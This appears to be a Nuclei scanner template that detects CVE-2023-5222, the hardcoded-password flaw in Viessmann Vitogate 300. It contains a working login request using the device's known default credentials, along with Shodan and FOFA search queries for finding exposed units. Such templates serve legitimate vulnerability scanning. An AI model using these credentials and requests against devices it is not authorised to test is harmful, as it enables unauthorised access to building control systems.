CVE-2023-5222: Viessmann Vitogate 300 - Hardcoded Password

id: CVE-2023-5222

info:
  name: Viessmann Vitogate 300 - Hardcoded Password
  author: ritikchaddha
  severity: critical
  description: |
    A critical vulnerability in Viessmann Vitogate 300 up to 2.1.3.0 allows attackers to authenticate using hardcoded credentials in the Web Management Interface.
  impact: |
    An attacker could potentially gain unauthorized access to the device.
  remediation: |
    Update the device firmware to remove the hardcoded password or change it to a strong, unique password.
  reference:
    - https://vuldb.com/?ctiid.240364
    - https://vuldb.com/?id.240364
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5222
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-5222
    cwe-id: CWE-259
    epss-score: 0.90661
    epss-percentile: 0.996
    cpe: cpe:2.3:o:viessmann:vitogate_300_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: title:"Vitogate 300"
    fofa-query: title="Vitogate 300"
    vendor: viessmann
    product: vitogate_300_firmware
  tags: cve,cve2023,viessmann,vitogate,default-login,vkev

http:
  - raw:
      - |
        POST /cgi-bin/vitogate.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"method":"put","form":"form-login","params":{"uid":"{{username}}","pwd":"{{password}}"}}

    attack: pitchfork
    payloads:
      username:
        - vitomaster
        - vitogate
      password:
        - viessmann1917
        - viessmann

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'admin":true'
          - '"sessionId":'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200
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